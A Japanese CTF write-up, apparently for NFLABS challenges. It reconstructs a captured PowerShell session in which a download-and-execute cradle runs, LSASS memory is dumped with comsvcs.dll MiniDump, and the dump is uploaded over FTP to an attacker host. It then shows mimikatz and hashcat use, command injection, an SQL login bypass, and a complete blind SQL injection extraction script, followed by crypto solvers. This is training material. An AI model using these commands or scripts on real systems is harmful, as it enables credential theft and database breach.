	return ${De`crY`p`TeDbYtES};
}

これでイベントログから得られたスクリプトの

. "iEx"(."New-Object" "Net.WebClient")."downloadString".Invoke("http://10.1.1.117/lib");

で何をしているか (以下の三つの関数を定義している) わかる.

  • 関数 SH は引数の SHA256 のハッシュ値を返す.
  • 関数 E は鍵とデータを引数にとって,AES の CBC モードで暗号化している.
  • 関数 D は鍵とデータを引数にとって,AES の CBC モードで復号している.

変数 $a には SHA256('a') が入るので PowerShell で走らせたりして配列を得る.

四行目以降は "10.1.1.117", 443 から受け取ったデータを $a を鍵として復号して実行し,その出力を同じように暗号化して送信する処理を繰り返している.
ここでやり取りした内容を復号する.
Wireshark でポート番号が 443 とあるパケットを選択して [Follow] -> [TCP Stream] を選択して,下の [Show data as] で [C Arrays] を選択してコピペする.

Python で復号

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = bytes([202, 151, 129, 18, 202, 27, 189, 202, 250, 194, 49, 179, 154, 35, 220, 77, 167, 134, 239, 248, 20, 124, 78, 114, 185, 128, 119, 133, 175, 238, 72, 187])

datas = [peer1_0, peer0_0, peer1_1, ...]

for data in datas:
	cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=data[:16])
	print(unpad(cipher.decrypt(data[16:]), 16).decode())
	print('-' * 30)
whoami
------------------------------
desktop-fkudirn\developer
PS D:\> 
------------------------------
whoami /priv
------------------------------

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS D:\> 
------------------------------
Remove-Item -Path $env:TEMP\20231122.dump -Force -ErrorAction Ignore; C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\20231122.dump full | Out-Host; Compress-Archive $env:TEMP\20231122.dump $env:TEMP\20231122.zip; Remove-Item -Path $env:TEMP\20231122.dump -Force -ErrorAction Ignore;
------------------------------
PS D:\> 
------------------------------
ls $env:TEMP\20231122.zip
------------------------------


	Directory: C:\Users\developer\AppData\Local\Temp


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         11/2/2023   1:33 AM       20249519 20231122.zip                                                         


PS D:\> 
------------------------------
$d=[System.IO.File]::ReadAllBytes($env:TEMP+"\20231122.zip");$k=SH "gj";$d2=E $k $d;[System.IO.File]::WriteAllBytes($env:TEMP+"\hoge.bin", $d2);Remove-Item -Path $env:TEMP\20231122.zip -Force -ErrorAction Ignore;
------------------------------
PS D:\> 
------------------------------
ls $env:TEMP\hoge.bin
------------------------------


	Directory: C:\Users\developer\AppData\Local\Temp


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         11/2/2023   1:33 AM       20249536 hoge.bin                                                             


PS D:\> 
------------------------------
$cl=New-Object System.Net.WebClient;$cl.UploadFile("ftp://user:EiyieV6y@10.1.1.117/hoge", $env:TEMP+"\hoge.bin");Remove-Item -Path hoge.bin -Force -ErrorAction Ignore;
------------------------------
PS D:\> 
------------------------------
ls $env:TEMP\hoge.bin
------------------------------


	Directory: C:\Users\developer\AppData\Local\Temp


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         11/2/2023   1:33 AM       20249536 hoge.bin                                                             


PS D:\> 
------------------------------
$cl=New-Object System.Net.WebClient;$cl.UploadFile("ftp://user:EiyieV6y@10.1.1.117/hoge", $env:TEMP+"\hoge.bin");Remove-Item -Path hoge.bin -Force -ErrorAction Ignore;
------------------------------
PS D:\> 
------------------------------
exit
------------------------------

Attacker がコマンドを実行して LSASS プロセスのメモリをダンプして 20231122.dump が作られて,zip に圧縮されて 20231122.zip になっている.作成された zip ファイルが SHA256('gj') を鍵として暗号化して hoge.bin というファイルが作成されて ftp://user:EiyieV6y@10.1.1.117/hoge にファイルが送信されている.

クレデンシャル情報を抜こうとしている.
この手法については Atomic Red Teamを使ってレッドチーム演習について学んでみる にある.

送信されたファイルを探す.
Wireshark で ftp-data でフィルタリングすると二つのストリームが見つかるが送信するコマンドが二回実行されているので,これで合ってる.
[Follow] -> [TCP Stream] とすると一つ目は 20MB で二つ目は 19MB と表示され,先程のやりとりから hoge.bin は 20249536 バイトであることがわかっているので一つ目をダンプする.

復号する.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

data = open('hoge.bin', 'rb').read()
# print(len(data))
# exit()

key = bytes([229, 198, 233, 198, 50, 233, 34, 120, 241, 139, 106, 226, 41, 106, 2, 53, 225, 193, 115, 147, 17, 187, 80, 99, 204, 24, 94, 66, 104, 116, 16, 225])
cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=data[:16])
data = cipher.decrypt(data[16:])

open('20231122.zip', 'wb').write(data)

ここからパスワードを抜き出したいので mimikatz を使う.

PS C:\Users\yuza\work\nflab> .\mimikatz_trunk\x64\mimikatz.exe "sekurlsa::minidump 20231122.dump" "sekurlsa::logonpasswords full" exit
(snip...)

Authentication Id : 0 ; 7135417 (00000000:006ce0b9)
Session           : Interactive from 4
User Name         : developer
Domain            : DESKTOP-FKUDIRN
Logon Server      : DESKTOP-FKUDIRN
Logon Time        : 2023/11/02 17:30:22
SID               : S-1-5-21-2048235506-495630424-4257220114-1002
		msv :
		[00000003] Primary
		* Username : developer
		* Domain   : DESKTOP-FKUDIRN
		* NTLM     : b9a342164519c83554615eb152b582a3
		* SHA1     : 666f103efef79267f12f4d8bdd4d3bdb61d1407c
		tspkg :
		wdigest :
		* Username : developer
		* Domain   : DESKTOP-FKUDIRN
		* Password : (null)
		kerberos :
		* Username : developer
		* Domain   : DESKTOP-FKUDIRN
		* Password : (null)
		ssp :
		credman :
		cloudap :
(snip...)

ユーザ developer の NTLM ハッシュ b9a342164519c83554615eb152b582a3 が得られるので,これを hash.txt に保存して hashcat でパスワードクラックする..

└─< hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt 
(snip...)

b9a342164519c83554615eb152b582a3:otakudeveloper           
(snip...)
otakudeveloper

Web

ASCII

author:kurihara
友人が授業で作成したWebサイトに脆弱性があるという話になりました。Webアプリケーションを診断して脆弱性を特定し、フラグを入手して解答してください。

http://[問題サーバのIPアドレス]:8084

適当な文字を入れてみる.

  • ~ を入力すると
     /root
    
    が返ってくる.
  • * とすると
     flag.txt server.py
     templates
    
    が返ってくる.
  • /* とすると
     /bin /boot /dev /etc
    
    とかが返ってくる.

色々試していると /home/student/* がカレントパスであることがわかる.
"a だとエラーになり,"a"a が返ってきて,a"a"a"a とかにするとエラーになる.
他にも入力すると何も返ってこなくなる文字があったり,削除される文字がある. --> おそらく OS コマンドに文字列として渡しているっぽい.

;pwd とすると /home/student が返ってくので, ;cat flag.txt で FLAG が得られる.

NFLABS{1nj3ct_n_unv3il_th3_s3cr3tz}

UniDine

author:kurihara
私たちの管理するWebサイトに対し、外部から脆弱性の報告がありました。Webアプリケーションを診断して脆弱性を特定し、フラグを入手して解答してください。

http://[問題サーバのIPアドレス]:8085

ログイン画面でユーザ ID に ',パスワードに a を入力するとエラーになる.

エラー内容は以下の通りで,a' 付近での文法がおかしいと言われている

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a'' at line 1 in /var/www/html/login.php:20 Stack trace: #0 /var/www/html/login.php(20): mysqli_query() #1 {main} thrown in /var/www/html/login.php on line 20

SQL インジェクションができそう.
' が原因なのでデータベースの検索を投げる部分で

query = "SELECT * FROM users WHERE user_id='" + user_id + "' and password='" + password + "'"

みたいにクエリが作成されていて何かしら返ってくるとログイン成功にしていると考えられる.

エラー文から MySQL で動いていることがわかるので行末のコメントアウトは # でできるので,ユーザ ID を ' or 1=1# とするとクエリが

SELECT * FROM users WHERE user_id='' or 1=1#' and password='hoge'

となってログインできる.

メールアドレスに FLAG が入っている.

NFLABS{l0g1n_h4x_sql_1nj3ct1on}

nolight

author:kin
Vue/Django/SQLiteを使用したWebアプリケーションを調査してほしいと依頼されました。どうやら勝手に身に覚えのないアカウントが作られているようです。対象のWebアプリケーション(SPA)を診断し、どこかに配置されているフラグを入手して解答してください。

http://[問題サーバのIPアドレス]:8082
  • ヒント
    ヒント1: /api/registration/reserve/と/api/registration/confirm/という2つのAPIの「一連の動作」に、この問題のタイトル「nolight」に関連した重大な脆弱性が「1つ」存在します。このAPIって普通なら裏で何していそうでしょう? また、no lightってどういう意味でしょう? そして、どうやってその脆弱性があることを確かめますか? 「時間」が解決してくれるかもしれません。。。
    ヒント2: その脆弱性は、攻撃コードの書き方によってフラグを得るまでにかかる時間にかなり幅がでます。とりあえず「時間」が解決してくれたら、そのままのわけにはいかなそうです。うまいこと他の方法で「成功」と「失敗」がわかるようにできませんかね?また、フレームワークやデータベースの特徴を利用することでフラグを見つけるまでの時間がかなり短縮できます。
    ヒント3: フラグは、説明文にあるように、アカウントのいずれかのパラメータの中にあります。
    

SQLite で動いていて問題名が nolight なので,流石に SQLi ができると信じて探す.

基本的なログインまでの流れ

  1. ユーザ情報を送信する
    /api/registration/reserve/
    {"email":"email@hoge.com","username":"username","password":"passpass"}
    
    を送信すると,レスポンスとして
    Set-Cookie: sessionid=j9nc35uug90cef9s4cxycwjz78iy76p4; expires=Tue, 12 Dec 2023 11:14:16 GMT; Max-Age=1209600; Path=/; SameSite=Lax
    
    の Cookie が渡される.
  2. 登録
    REGISTER を押すと /api/registration/confirm/ にリクエストが送信される.
    ただし,このときにメールアドレスやユーザ名は送信されず,Cookie だけが渡されている.
  3. ログイン
    ユーザ名とパスワードでログインできる.

脆弱性を探す.
既に登録している名前かメールアドレスで登録しようとすると confirm したときにレスポンスで "Invaild action." と返されてしまう.
ユーザ名の長さについてブラウザから送信すると 6 から 16 文字じゃないといけないと出るが,実際にはそんなことはなく,Burpsuite や開発者オプションを開いてネットワークタブを見てみるとリクエストが飛んでいなくてブラウザ側でチェックしていて,16 文字よりも長くしてリクエストを送信するきことができる.(6 文字未満は弾かれる)
Burpsuite の Repeater で直接いじってみたり,以下のようなスクリプトを作って色々試す.

import requests
import random
import string

IP = '10.0.101.5'
URL = f'http://{IP}:8082'
RESV_URL = f'{URL}/api/registration/reserve/'
CONF_URL = f'{URL}/api/registration/confirm/'

username = 'username'
password = 'password'
email = ''.join(random.choices(string.ascii_letters, k=10)) + '@example.com'

print(f'{username = }')
print(f'{password = }')
print(f'{email = }')

data = {
	"email": email,
	"username": username,
	"password": password
}
res = requests.post(RESV_URL, data=data)
if not res.ok:
	print('reserve fault')
	print(res.headers)
	exit()
print('status code =', res.status_code)

cookie = res.headers['Set-Cookie'].split()[0].split('=')[1][:-1]
print(f'{cookie = }')

cookies = {'sessionid': cookie}
res = requests.post(CONF_URL, cookies=cookies, data={})
print('status code =', res.status_code)

色々していると既に登録されていないメールアドレスを使って以下のようにすると (ペイロードの何がどこに刺さってるのかはわからんけど) 何回でも以下のユーザ名とメールアドレスで登録できることがわかる (reserveconfirm に送信ができてレスポンスが成功する).

username = "username' AND 1=2--"
password = 'password'
email = 'username@example.com'

ユーザ名で SQLi ができそう (メールアドレスの方は形式が決まっているからインジェクションできなさそう).

どこが原因でこんな挙動になるのか調べていると,ユーザ名を hogehoge'' にして登録まですると hogehoge'reserve に投げるとエラーになることに気づく (メールアドレスを適当に変更しても起きる).
このことから reserve の検索では SQLi の対策がされているけど,confirm では対策できていないことが考えられる.
SQLite での ' のエスケープは '' なので,hogehoge'' で登録しようとすると

  • reserve では対策がされていないため hogehoge' で登録されて,
  • reserve では hogehoge' を検索すると対策がされているため,そのままの文字列 hogehoge' で検索される.

confirm ではクエリが成功しても失敗してもレスポンスは同じになってそう.

インジェクションできるか試してみる.
confirm ではクエリが成功してもしなくてもレスポンスの内容が同じなので Time Based SQLi する.
SQLite なので HackTricks にあるように RANDOMBLOB を使ってレスポンスが遅延するか確かめる.(RANDOMBLOB は引数に指定したバイト数の乱数を生成を生成するため,大きな値を指定することで処理に時間がかかる.)
SQLite なので行末のコメントアウトは -- を使えば良い.
INSERT 文で SQLi が起きていると考えられるので HackTricks にあるようにやってみるが

','');[query]--

系はできなさそう.(1 クエリしか実行できない?か,型が違うくて失敗している?)

ユーザ名に ' || RANDOMBLOB(1000000000/2) || ' をつけると confirm で少しレスポンスが遅くなることが確認できる.
ただし,攻撃に使ったメールアドレスで reserve に投げてみてもエラーにならないので,クエリの実行自体は失敗しているっぽい.
これを ' || RANDOMBLOB(2) || ' とかにすると登録に使ったメールアドレスがきちんと登録されていることがわかるので,さっきのは文字列が長すぎて失敗したと考えられる.

データベースの構造が何もわかっていないので色んな情報を抜き出す必要があるのでこの辺を参考にしてペイロードを組み立てる

ただし今回はヒントにもあるように Time Based SQLi はデータベースのテーブルやカラム名などの情報も抜き出さないといけないのでかなり時間がかかってしまうため,他の手法を考える.
取り出したい情報の文字を抜き出して連結して登録すると reserve でそのユーザ名を投げるとエラーになるのでそれで調べる.
例えば,

base_username = ''.join(random.choices(string.ascii_letters, k=10))
payload_username = base_username + "' || (SELECT substr(tbl_name,1,1) FROM sqlite_master WHERE type='table' limit 1 offset 0) || '"

としてペイロードを組み立てるとユーザ名には base_username の後ろに一つ目のテーブル名の一文字目を連結されたものになる.
ここで

for i in range(0x20, 0x7f):
	c = chr(i)
	check_username = base_username + c

として (メールアドレスは登録されていないものにして) reserve に送信するとテーブル名の一文字目と一致したときだけ既に登録されているユーザ名なので失敗する.

まずは,テーブル名を出す

import requests
import random
import string

IP = '10.0.101.25'
URL = f'http://{IP}:8082'
RESV_URL = f'{URL}/api/registration/reserve/'
CONF_URL = f'{URL}/api/registration/confirm/'

def send_resv(email, username, password):
	data = {
		"email": email,
		"username": username,
		"password": password
	}
	res = requests.post(RESV_URL, data=data)
	if not res.ok:
		return None
	else:
		cookie = res.headers['Set-Cookie'].split()[0].split('=')[1][:-1]
		return cookie

def send_conf(cookie):
	cookies = {'sessionid': cookie}
	res = requests.post(CONF_URL, cookies=cookies, data={})
	return res.ok

def rand_data():
	base_username = 'RANDUSER_' + ''.join(random.choices(string.ascii_letters, k=10))
	password = 'password'
	email = ''.join(random.choices(string.ascii_letters, k=10)) + '@example.com'
	return base_username, password, email

def get_table_num():
	base_username, password, email = rand_data()
	payload_username = base_username + "' || (SELECT count(tbl_name) FROM sqlite_master WHERE type='table') || '"
	
	cookie = send_resv(email, payload_username, password)
	assert cookie
	send_conf(cookie)

	for i in range(1, 0x100):
		c = str(i)
		check_username = base_username + c
		check_email = 'check_' + email
		res = send_resv(check_email, check_username, password)
		if not res:
			print(f'table num: {i}')
			return i

def get_table_names(table_num):
	for t in range(table_num):
		table_name_length = get_table_name_length(t)
		table_name = ''
		for i in range(table_name_length):
			c = ''
			for j in range(7):
				base_username, password, email = rand_data()
				payload_username = base_username + f"' || (SELECT (unicode(substr(tbl_name,{i + 1},1))>>{j})&1 FROM sqlite_master WHERE type='table' limit 1 offset {t}) || '"
		
				cookie = send_resv(email, payload_username, password)
				assert cookie
				send_conf(cookie)

				check_username = base_username + '1'
				check_email = 'check_' + email
				res = send_resv(check_email, check_username, password)
				c = ('0' if res else '1') + c
			table_name += chr(int(c, 2))
			print(f'table {t + 1}: {table_name}')
		exit()

def get_table_name_length(t):
	base_username, password, email = rand_data()
	payload_username = base_username + f"' || (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' limit 1 offset {t}) || '"
	
	cookie = send_resv(email, payload_username, password)
	assert cookie
	send_conf(cookie)

	for i in range(1, 0x100):
		c = str(i)
		check_username = base_username + c
		check_email = 'check_' + email
		res = send_resv(check_email, check_username, password)
		if not res:
			return i

if __name__ == '__main__':
	table_num = get_table_num()
	get_table_names(table_num)
└─< py solve.py
table num: 12
table 1: django_migrations
table 2: sqlite_sequence
table 3: django_content_type
table 4: auth_group_permissions
table 5: auth_permission
table 6: auth_group
table 7: backend_app_account_groups
table 8: backend_app_account_user_permissions
table 9: backend_app_news
table 10: backend_app_newsaccount
table 11: backend_app_account
table 12: django_session

backend_app_account を探せば良さそう.
(テーブル名の探索では,一文字ずつではなく 1 ビットずつ探索してみたけどそこまで早くならなかった.総リクエストの回数は減るけど confirm への送信が重い?)

元から登録されていたユーザの数を調べる (サーバを初期化してから実行する).

def get_record_num(table_name):
	base_username, password, email = rand_data()
	payload_username = base_username + f"' || (SELECT count(*) FROM {table_name}) || '"
	
	cookie = send_resv(email, payload_username, password)
	assert cookie
	send_conf(cookie)

	for i in range(1, 0x100):
		c = str(i)
		check_username = base_username + c
		check_email = 'check_' + email
		res = send_resv(check_email, check_username, password)
		if not res:
			print(f'record num: {i}')
			return i
└─< py solve.py
record num: 3

└─< py solve.py
record num: 4

三人であることがわかる (二回目の実行時は一回目のペイロードで一人登録されているから増える).

カラム名を調べる.

def get_column_name(table_name):
	data = ''
	i = 249
	while True:
		base_username, password, email = rand_data()
		payload_username = base_username + f"' || substr((SELECT sql FROM sqlite_master WHERE type='table' AND name='{table_name}'),{i},1) || '"
		
		cookie = send_resv(email, payload_username, password)
		assert cookie
		send_conf(cookie)

		for j in range(0x20, 0x7f):
			c = chr(j)
			check_username = base_username + c
			check_email = 'check_' + email
			res = send_resv(check_email, check_username, password)
			if not res:
				data += c
				break
		else:
			data += ' '
		
		if len(data) > 2 and data[-2:] == '  ':
			break

		print(data)
		i += 1
CREATE TABLE "backend_app_account" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "password" varchar(128) NOT NULL, "last_login" datetime NULL, "is_active" bool NOT NULL, "email" varchar(500) NOT NULL UNIQUE, "username" varchar(500) NOT NULL UNIQUE)

特別なカラムは無さそうなので,ユーザ名,パスワード,メールアドレスを調べる.
ここで,ペイロードを実行する度に新しいユーザが登録されてしまって邪魔なので

base_username = 'RANDUSER_' + ''.join(random.choices(string.ascii_letters, k=10))

でペイロードのユーザ名を生成して

SELECT group_concat({column_name}) FROM {table_name} WHERE username NOT LIKE 'RANDUSER%'

で検索することでフィルタリングができる.

def get_data(table_name, column_name):
	data = ''
	i = 1
	while True:
		base_username, password, email = rand_data()
		payload_username = base_username + f"' || substr((SELECT group_concat({column_name}) FROM {table_name} WHERE username NOT LIKE 'RANDUSER%'),{i},1) || '"
		
		cookie = send_resv(email, payload_username, password)
		assert cookie
		send_conf(cookie)

		for j in range(0x20, 0x7f):
			c = chr(j)
			check_username = base_username + c
			check_email = 'check_' + email
			res = send_resv(check_email, check_username, password)
			if not res:
				data += c
				break
		else:
			data += ' '
		
		if len(data) > 2 and data[-2:] == '  ':
			break
		
		print(data)
		i += 1

if __name__ == '__main__':
	get_data(table_name, 'username')
	'''
	alexander.smith,emily.smith,william.wilson
	'''
	
	get_data(table_name, 'email')
	'''
	emily.smith@example.com,william.wilson@example.com,alexander.smith@example.com
	'''

	get_data(table_name, 'password')
	'''
	pbkdf2_sha256$600000$uQn...
	'''

ユーザ名とメールアドレスには FLAG はなかったので,パスワードのハッシュ値に FLAG がありそうなことがわかる.

パスワードのハッシュ値が FLAG になっているので,目的のものだけ pbkdf で始まっていないと考えられるので

SELECT group_concat(password) FROM {table_name} WHERE password NOT LIKE 'pbkdf2%'

で検索する.

def get_flag(table_name):
	data = ''
	i = 1
	while True:
		base_username, password, email = rand_data()
		payload_username = base_username + f"' || substr((SELECT group_concat(password) FROM {table_name} WHERE password NOT LIKE 'pbkdf2%'),{i},1) || '"
		
		cookie = send_resv(email, payload_username, password)
		assert cookie
		send_conf(cookie)

		for j in range(0x20, 0x7f):
			c = chr(j)
			check_username = base_username + c
			check_email = 'check_' + email
			res = send_resv(check_email, check_username, password)
			if not res:
				data += c
				break
		else:
			data += ' '
		
		if len(data) > 2 and data[-2:] == '  ':
			break
		
		print(data)
		i += 1
NFLABS{D3lay3d_bl1nd_S0L_inj3ct10n_1s_C0mpl1c@t3d!!!}

Dev

stegano

author:kawaai
ステガノプログラムmain.goを用いてflagを画像の中に隠した。画像からflagを見つけよ。

stegano.zip
stegano.zip
├── main.go
└── stegano.png

4 つのピクセルが同じ色になっていて,右下以外の値が FLAG によって変化している.
これらの 4 つのブロックが重なることはないので,ひとつずつ右下のピクセルと差があるのかを確認すると FLAG が得られる.

from PIL import Image

im = Image.open('./stegano/stegano.png')
width, height = im.size

flag = ''
x = y = 100
for i in range(0, 100):
    rgb1 = im.getpixel((x*2, y*2))
    rgb2 = im.getpixel((x*2+1, y*2))
    rgb3 = im.getpixel((x*2, y*2+1))
    rgb4 = im.getpixel((x*2+1, y*2+1))
    box = list(rgb1) + list(rgb2) + list(rgb3)
    f = 0
    for j in range(8):
        if box[j] != rgb4[j % 3]:
            f += 1 << j
    flag += chr(f)
    if flag[-1] == '}':
        break
    x += 1
    y = (y + rgb3[2]) % (height // 2)
print(flag)

cipher

author:kawaai
暗号化プログラムmain.goを用いてflagを暗号化した。復号してflagを入手せよ。ただし暗号キーは与えられていない。

cipher.zip
cipher.zip
├── encrypted_flag.bin
├── encrypted_text_example.bin
├── main.go
└── plain_text_example.txt

add_padding では 8 バイトに満たない部分を 0 で埋めて,64 ビットの unsigned int の列に変換している.
鍵から生成される配列 cv の各要素は一桁の非負整数になっていて,よく読んでみると cv は色んな所で渡されているけど.

g3 := Ftable(g2^cv[(4*k)%6]) ^ g1
g4 := Ftable(g3^cv[(4*k+1)%6]) ^ g2
g5 := Ftable(g4^cv[(4*k+2)%6]) ^ g3
g6 := Ftable(g5^cv[(4*k+3)%6]) ^ g4

でしか使われていなくて cv の先頭 6 要素しか使っていないので,plain_text_example.txtencrypted_text_example.bin を使って総当りで cv の必要な部分はわかる.

FLAG は各 64 ビットがそれぞれ暗号化されていて,処理自体は逆の処理が簡単に実装できるので,そのまま復号できる.

from Crypto.Util.number import bytes_to_long, long_to_bytes
import itertools

table = [None] * 16
table[0] = [0xd7, 0xa3, 0x83, 0x09, 0x48, 0xf8, 0xf4, 0xf6, 0x21, 0xb3, 0x78, 0x15, 0xb1, 0x99, 0xf9, 0xaf]
table[1] = [0x2d, 0xe7, 0x8a, 0x4d, 0x4c, 0xce, 0x2e, 0xca, 0x95, 0x52, 0x1e, 0xd9, 0x38, 0x4e, 0x28, 0x44]
table[2] = [0xdf, 0x0a, 0xa0, 0x02, 0xf1, 0x17, 0x68, 0x60, 0xb7, 0x12, 0xc3, 0x7a, 0xfa, 0xe9, 0x53, 0x3d]
table[3] = [0x84, 0x96, 0xba, 0x6b, 0x63, 0xf2, 0x19, 0x9a, 0xae, 0x7c, 0xf5, 0xe5, 0x16, 0xf7, 0xa2, 0x6a]
table[4] = [0xb6, 0x39, 0x0f, 0x7b, 0x93, 0xc1, 0x1b, 0x81, 0xb4, 0xee, 0xea, 0x1a, 0x91, 0xd0, 0xb8, 0x2f]
table[5] = [0xb9, 0x55, 0x85, 0xda, 0x41, 0x3f, 0xe0, 0xbf, 0x58, 0x5a, 0x5f, 0x80, 0x0b, 0x66, 0x90, 0xd8]
table[6] = [0xd5, 0x35, 0xa7, 0xc0, 0x06, 0x33, 0x69, 0x65, 0x00, 0x45, 0x56, 0x94, 0x98, 0x6d, 0x76, 0x9b]
table[7] = [0xfc, 0x97, 0xc2, 0xb2, 0xfe, 0xb0, 0x20, 0xdb, 0xeb, 0xe1, 0xe4, 0xd6, 0x47, 0xdd, 0x1d, 0x4a]
table[8] = [0xed, 0x42, 0x6e, 0x9e, 0x3c, 0x49, 0x43, 0xcd, 0xd2, 0x27, 0xd4, 0x07, 0xc7, 0xde, 0x18, 0x67]
table[9] = [0xcb, 0x89, 0x1f, 0x30, 0xc6, 0x8d, 0xaa, 0x8f, 0x74, 0xc8, 0xc9, 0xdc, 0x5c, 0x5d, 0xa4, 0x31]
table[10] = [0x88, 0x70, 0x2c, 0x61, 0x0d, 0x9f, 0x87, 0x2b, 0x82, 0x50, 0x64, 0x54, 0x7d, 0x26, 0x40, 0x03]
table[11] = [0x4b, 0x34, 0x73, 0x1c, 0xc4, 0xd1, 0x3b, 0xfd, 0xfb, 0xcc, 0xab, 0x7f, 0x3e, 0xe6, 0xa5, 0x5b]
table[12] = [0x04, 0xad, 0x9c, 0x23, 0x51, 0x14, 0xf0, 0x22, 0x79, 0x29, 0x7e, 0x71, 0x8c, 0xff, 0xe2, 0x0e]
table[13] = [0xef, 0x0c, 0x72, 0xbc, 0x6f, 0x75, 0xa1, 0x37, 0xd3, 0xec, 0x62, 0x8e, 0x86, 0x8b, 0xe8, 0x10]
table[14] = [0x77, 0x08, 0xbe, 0x11, 0x4f, 0x92, 0xc5, 0x24, 0x36, 0x32, 0xcf, 0x9d, 0xa6, 0xf3, 0xac, 0xbb]
table[15] = [0x6c, 0x5e, 0x13, 0xa9, 0x25, 0x57, 0xe3, 0xb5, 0xa8, 0xbd, 0x01, 0x3a, 0x59, 0x05, 0x46, 0x2a]

Ftable = lambda i: table[i >> 4][((i << 4) & 0xff) >> 4]

def search_cv():
    pte = open('./cipher/plain_text_example.txt', 'rb').read()
    pte_uint64 = add_padding(pte)
    
    encrypted_pte_data = open('./cipher/encrypted_text_example.bin', 'rb').read()
    encrypted_pte = []
    for i in range(0, len(encrypted_pte_data), 8):
        encrypted_pte.append(bytes_to_long(encrypted_pte_data[i : i+8]))

    for cv in itertools.product(list(range(10)), repeat=6):
        cv = list(cv)
        encrypted_pte__ = encrypt(pte_uint64, cv)
        if all(e1 == e2 for e1, e2 in zip(encrypted_pte, encrypted_pte__)):
            print(f'{cv = }')
            return cv
    else:
        print('Not found cv')
        exit()

def encrypt(input, cv):
    encrypted = []
    for i in input:
        encrypted.append(encrypt_uint64(i, cv))
    return encrypted

def add_padding(text):
    padding_len = 8 - (((len(text) - 1) % 8) + 1)
    result = []
    padded_text = text + b'\x00' * padding_len
    for i in range(0, len(padded_text), 8):
        result.append(int.from_bytes(padded_text[i : i+8], 'big'))
    return result

def B(k, input, cv):
    w1 = input >> 48
    w2 = ((input << 16) & ((1 << 64) - 1)) >> 48
    w3 = ((input << 32) & ((1 << 64) - 1)) >> 48
    w4 = ((input << 48) & ((1 << 64) - 1)) >> 48
    g = G(k, w1, cv)
    o1 = w4
    o2 = g
    o3 = w1 ^ w2 ^ (k + 1)
    o4 = w3
    return (o1 << 48) + (o2 << 32) + (o3 << 16) + o4

def A(k, input, cv):
    w1 = input >> 48
    w2 = ((input << 16) & ((1 << 64) - 1)) >> 48
    w3 = ((input << 32) & ((1 << 64) - 1)) >> 48
    w4 = ((input << 48) & ((1 << 64) - 1)) >> 48
    g = G(k, w1, cv)
    o1 = g ^ w4 ^ (k + 1)
    o2 = g
    o3 = w2
    o4 = w3
    return (o1 << 48) + (o2 << 32) + (o3 << 16) + o4

def G(k, input, cv):
    g1 = input >> 8
    g2 = ((input << 8) & 0xffff) >> 8
    g3 = Ftable(g2^cv[(4*k)%6]) ^ g1
    g4 = Ftable(g3^cv[(4*k+1)%6]) ^ g2
    g5 = Ftable(g4^cv[(4*k+2)%6]) ^ g3
    g6 = Ftable(g5^cv[(4*k+3)%6]) ^ g4
    return (g5 << 8) + g6

def encrypt_uint64(input, cv):
    current = input
    k = 0
    for i in range(2):
        for j in range(4):
            current = A(k, current, cv)
            k += 1
        for j in range(8):
            current = B(k, current, cv)
            k += 1
    return current

def search_flag(cv):
    encrypted_flag_data = open('./cipher/encrypted_flag.bin', 'rb').read()
    encrypted_flag = []
    for i in range(0, len(encrypted_flag_data), 8):
        encrypted_flag.append(bytes_to_long(encrypted_flag_data[i : i+8]))

    flag = b''
    for enc in encrypted_flag:
        flag += long_to_bytes(inv_encrypt_uint64(enc, cv))
    print(flag)

def inv_B(k, input, cv):
    o1 = input >> 48
    o2 = ((input << 16) & ((1 << 64) - 1)) >> 48
    o3 = ((input << 32) & ((1 << 64) - 1)) >> 48
    o4 = ((input << 48) & ((1 << 64) - 1)) >> 48
    g = o2
    w1 = inv_G(k, g, cv)
    w2 = o3 ^ w1 ^ (k + 1)
    w3 = o4
    w4 = o1
    return (w1 << 48) + (w2 << 32) + (w3 << 16) + w4

def inv_A(k, input, cv):
    o1 = input >> 48
    o2 = ((input << 16) & ((1 << 64) - 1)) >> 48
    o3 = ((input << 32) & ((1 << 64) - 1)) >> 48
    o4 = ((input << 48) & ((1 << 64) - 1)) >> 48
    g = o2
    w1 = inv_G(k, g, cv)
    w2 = o3
    w3 = o4
    w4 = o1 ^ g ^ (k + 1)
